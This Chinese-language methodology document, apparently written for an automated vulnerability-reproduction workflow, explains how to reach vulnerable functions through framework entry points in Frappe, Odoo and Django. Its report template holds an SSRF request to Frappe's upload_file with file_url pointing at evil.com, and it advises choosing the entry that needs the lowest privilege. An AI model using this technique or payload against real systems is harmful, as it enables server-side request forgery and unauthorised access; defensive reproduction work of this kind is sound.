框架入口点分析方法论

框架入口点分析方法论

Owner: 分析师 (vuln-analyst) 适用角色: api-reproducer

核心原则：理解框架的请求处理机制，找到正确的入口点，而非直接调用内部函数

---

问题背景

Web 框架通常有复杂的请求处理流程，直接调用漏洞函数可能无法触发漏洞：

场景: SSRF 漏洞位于文件上传处理函数
错误流程:
  1. 分析代码发现漏洞在 import_file(url) 函数
  2. 直接调用 /api/method/module.import_file
  3. 请求失败或漏洞未触发
  4. 判定: NOT_REPRODUCED

实际情况:
  - 框架的文件上传机制需要通过特定入口
  - 直接调用跳过了必要的上下文初始化
  - upload_file API 会设置 local.uploaded_file_url
  - 然后再调用目标方法

正确流程:
  1. 分析框架的请求处理机制
  2. 找到正确的入口点（如 upload_file）
  3. 通过框架规定的方式触发漏洞函数
  4. 漏洞成功触发

---

框架入口点的重要性

直接调用内部函数	通过框架入口调用
跳过上下文初始化	完整的请求生命周期
缺少必要的全局变量	正确设置所有上下文
可能被中间件拦截	经过正常的请求处理
难以触发某些漏洞	准确模拟真实攻击

---

通用框架分析流程

分析步骤

┌─────────────────────────────────────────────────────────────┐
│ Step 1: 识别框架类型                                         │
│ - 分析代码结构识别使用的框架                                  │
│ - 查找框架特征文件（配置、装饰器等）                          │
│ - 确定框架版本                                               │
└─────────────────────────────────────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────────┐
│ Step 2: 分析请求处理机制                                     │
│ - 请求如何路由到处理函数？                                    │
│ - 有哪些中间件/钩子？                                        │
│ - 上下文如何初始化？                                         │
└─────────────────────────────────────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────────┐
│ Step 3: 定位漏洞函数的调用链                                 │
│ - 漏洞函数在哪里被调用？                                     │
│ - 调用前需要什么条件/上下文？                                │
│ - 有哪些入口可以触达该函数？                                 │
└─────────────────────────────────────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────────┐
│ Step 4: 构造正确的触发路径                                   │
│ - 选择最短/最可行的入口点                                    │
│ - 构造满足框架要求的请求                                     │
│ - 设置必要的请求头/参数/Cookie                               │
└─────────────────────────────────────────────────────────────┘

---

常见框架入口模式

模式 1: 文件上传代理

许多框架的文件上传功能通过统一入口处理：

pattern: file_upload_proxy
description: |
  框架提供统一的文件上传 API，
  该 API 负责设置文件相关的上下文，
  然后调用用户指定的处理方法。

common_implementations:
  - name: "Frappe/ERPNext"
    entry_point: "/api/method/upload_file"
    mechanism: |
      1. upload_file 接收 file 或 file_url
      2. 设置 frappe.local.uploaded_file 和 uploaded_file_url
      3. 调用 method 参数指定的处理函数
      4. 处理函数从 frappe.local 读取文件信息

  - name: "Django + django-storages"
    entry_point: "/upload/"
    mechanism: |
      1. FileUploadView 处理文件上传
      2. 设置 request.FILES
      3. 调用后续处理逻辑

  - name: "Spring Boot"
    entry_point: "/api/upload"
    mechanism: |
      1. MultipartFile 参数绑定
      2. 控制器方法接收文件
      3. 调用服务层处理

trigger_strategy: |
  不要直接调用处理函数，
  而是通过文件上传入口，
  设置正确的 file_url 或 file 参数，
  由框架完成上下文初始化。

模式 2: 方法调用代理

框架提供通用的方法调用入口：

pattern: method_call_proxy
description: |
  框架暴露统一的 RPC/方法调用端点，
  通过该端点调用内部方法。

common_implementations:
  - name: "Frappe"
    entry_point: "/api/method/{dotpath}"
    mechanism: |
      1. 解析 dotpath 为模块.函数
      2. 检查 @frappe.whitelist 装饰器
      3. 初始化请求上下文
      4. 调用目标函数

  - name: "Odoo"
    entry_point: "/web/dataset/call_kw"
    mechanism: |
      1. 接收 model, method, args, kwargs
      2. 检查方法权限
      3. 调用 ORM 方法

  - name: "JSON-RPC"
    entry_point: "/jsonrpc"
    mechanism: |
      1. 解析 JSON-RPC 请求
      2. 路由到目标方法
      3. 返回 JSON-RPC 响应

trigger_strategy: |
  了解框架的方法调用约定，
  使用正确的 API 格式，
  包含必要的认证和上下文参数。

模式 3: 资源操作代理

RESTful 资源操作的统一入口：

pattern: resource_operation_proxy
description: |
  框架提供统一的资源 CRUD 端点，
  资源操作触发相关的钩子函数。

common_implementations:
  - name: "Frappe DocType"
    entry_point: "/api/resource/{doctype}/{name}"
    mechanism: |
      1. GET/POST/PUT/DELETE 映射到 CRUD
      2. 触发 validate, before_save, after_save 等钩子
      3. 钩子中的漏洞代码被执行

  - name: "Django REST Framework"
    entry_point: "/api/{model}/"
    mechanism: |
      1. ViewSet 处理 CRUD
      2. 序列化器验证数据
      3. Model 信号触发

trigger_strategy: |
  通过资源操作间接触发漏洞代码，
  而非直接调用漏洞函数。
  例如：保存文档触发 validate 钩子。

---

入口点分析方法

方法 1: 代码追踪

def analyze_call_chain(vuln_function_path):
    """
    从漏洞函数反向追踪调用链

    步骤:
    1. 找到漏洞函数定义
    2. 搜索所有调用该函数的位置
    3. 继续向上追踪直到找到 HTTP 入口
    4. 记录完整的调用链
    """
    call_chain = []

    # 搜索调用点
    callers = find_all_callers(vuln_function_path)

    for caller in callers:
        # 检查是否是 HTTP 入口
        if is_http_endpoint(caller):
            call_chain.append({
                'entry_point': get_http_route(caller),
                'call_path': trace_path(caller, vuln_function_path)
            })
        else:
            # 继续向上追踪
            parent_callers = analyze_call_chain(caller)
            call_chain.extend(parent_callers)

    return call_chain

方法 2: 装饰器分析

def analyze_decorators(function_code):
    """
    分析函数的装饰器以确定入口要求

    常见装饰器含义:
    - @whitelist: 可通过 API 调用
    - @login_required: 需要认证
    - @permission_required: 需要特定权限
    - @api_view: REST API 端点
    """
    decorators = extract_decorators(function_code)

    entry_requirements = {
        'is_api_accessible': False,
        'requires_auth': False,
        'required_permissions': [],
        'allowed_methods': ['GET', 'POST']
    }

    for decorator in decorators:
        if 'whitelist' in decorator:
            entry_requirements['is_api_accessible'] = True
            if 'allow_guest' in decorator:
                entry_requirements['requires_auth'] = False
            else:
                entry_requirements['requires_auth'] = True

        if 'login_required' in decorator:
            entry_requirements['requires_auth'] = True

        if 'permission' in decorator:
            perms = extract_permissions(decorator)
            entry_requirements['required_permissions'].extend(perms)

    return entry_requirements

方法 3: 上下文依赖分析

def analyze_context_dependencies(function_code):
    """
    分析函数依赖的上下文变量

    识别函数使用了哪些框架上下文，
    这些上下文需要通过特定入口初始化。
    """
    context_vars = []

    # 常见上下文模式
    context_patterns = [
        ('frappe.local.', 'Frappe 本地上下文'),
        ('request.', 'HTTP 请求对象'),
        ('g.', 'Flask 全局对象'),
        ('self.request', 'Django 请求'),
        ('current_user', '当前用户上下文'),
    ]

    for pattern, desc in context_patterns:
        if pattern in function_code:
            # 提取具体使用的变量
            vars_used = extract_context_vars(function_code, pattern)
            context_vars.append({
                'pattern': pattern,
                'description': desc,
                'variables': vars_used
            })

    return {
        'has_context_dependencies': len(context_vars) > 0,
        'dependencies': context_vars,
        'initialization_required': True if context_vars else False
    }

---

入口点选择策略

决策矩阵

条件	推荐入口	原因
函数使用 local.uploaded_file	文件上传 API	需要文件上下文
函数使用 request.form/args	直接 API 调用	参数通过请求传递
函数是 DocType 钩子	资源操作 API	钩子由操作触发
函数读取配置后执行	先配置再触发	两步操作

多入口选择

when_multiple_entries_exist:
  strategy: |
    1. 优先选择权限要求最低的入口
    2. 其次选择调用链最短的入口
    3. 最后选择最容易构造请求的入口

  example: |
    漏洞函数: process_url(url)
    可能入口:
      a) /api/method/module.process_url (需要 admin)
      b) /api/method/upload_file?method=module.process_url (需要登录)
      c) /import?url= (允许匿名)
    选择: c) 因为权限要求最低

---

框架特定指南

指南模板

每个支持的框架应有专门的入口分析指南：

## [框架名称] 入口分析指南

### 请求处理流程
[描述框架如何处理请求]

### 常见入口模式
[列出框架的典型入口点]

### 上下文初始化
[说明各种上下文如何初始化]

### 漏洞触发路径
[常见漏洞类型的触发方法]

### 示例
[具体的入口选择示例]

---

入口分析报告模板

{
  "entry_point_analysis": {
    "performed": true,
    "framework": "framework_name",
    "framework_version": "x.y.z",

    "vuln_function": {
      "path": "module.submodule.function",
      "decorators": ["@whitelist", "@login_required"],
      "context_dependencies": ["frappe.local.uploaded_file_url"]
    },

    "identified_entries": [
      {
        "path": "/api/method/upload_file",
        "method": "POST",
        "params": {
          "file_url": "用户控制",
          "method": "module.submodule.function"
        },
        "auth_required": true,
        "permission_required": false,
        "call_chain_length": 2,
        "recommended": true,
        "reason": "正确初始化 uploaded_file_url 上下文"
      }
    ],

    "selected_entry": {
      "path": "/api/method/upload_file",
      "reason": "最短路径且满足上下文依赖"
    },

    "request_template": {
      "method": "POST",
      "url": "/api/method/upload_file",
      "headers": {
        "Content-Type": "application/x-www-form-urlencoded"
      },
      "body": "file_url=http://evil.com&method=module.function"
    }
  }
}

---

判定规则

入口分析与复现结果的关系

入口分析状态	复现尝试	结果	下一步
未分析	直接调用失败	INCONCLUSIVE	进行入口分析
已分析	正确入口成功	REPRODUCED	记录入口
已分析	正确入口失败	NOT_REPRODUCED	有效结论
已分析	所有入口失败	NEEDS_REVIEW	可能有防护

强制规则

mandatory_rules:
  rule_1: |
    如果漏洞函数依赖框架上下文（如 request, local 等），
    禁止直接调用该函数，
    必须通过正确的入口点触发。

  rule_2: |
    首次复现失败时，
    必须检查是否使用了正确的入口点，
    而非直接判定 NOT_REPRODUCED。

  rule_3: |
    入口分析结果必须包含在复现报告中，
    说明选择该入口的原因。

---

版本历史

版本	日期	变更
1.0	2026-01-21	初始版本，定义框架入口分析方法论

---

声明: 本方法论解决「直接调用漏洞函数而非通过框架入口」导致的复现失败问题。核心原则是「理解框架，尊重框架」，通过正确的入口触发漏洞。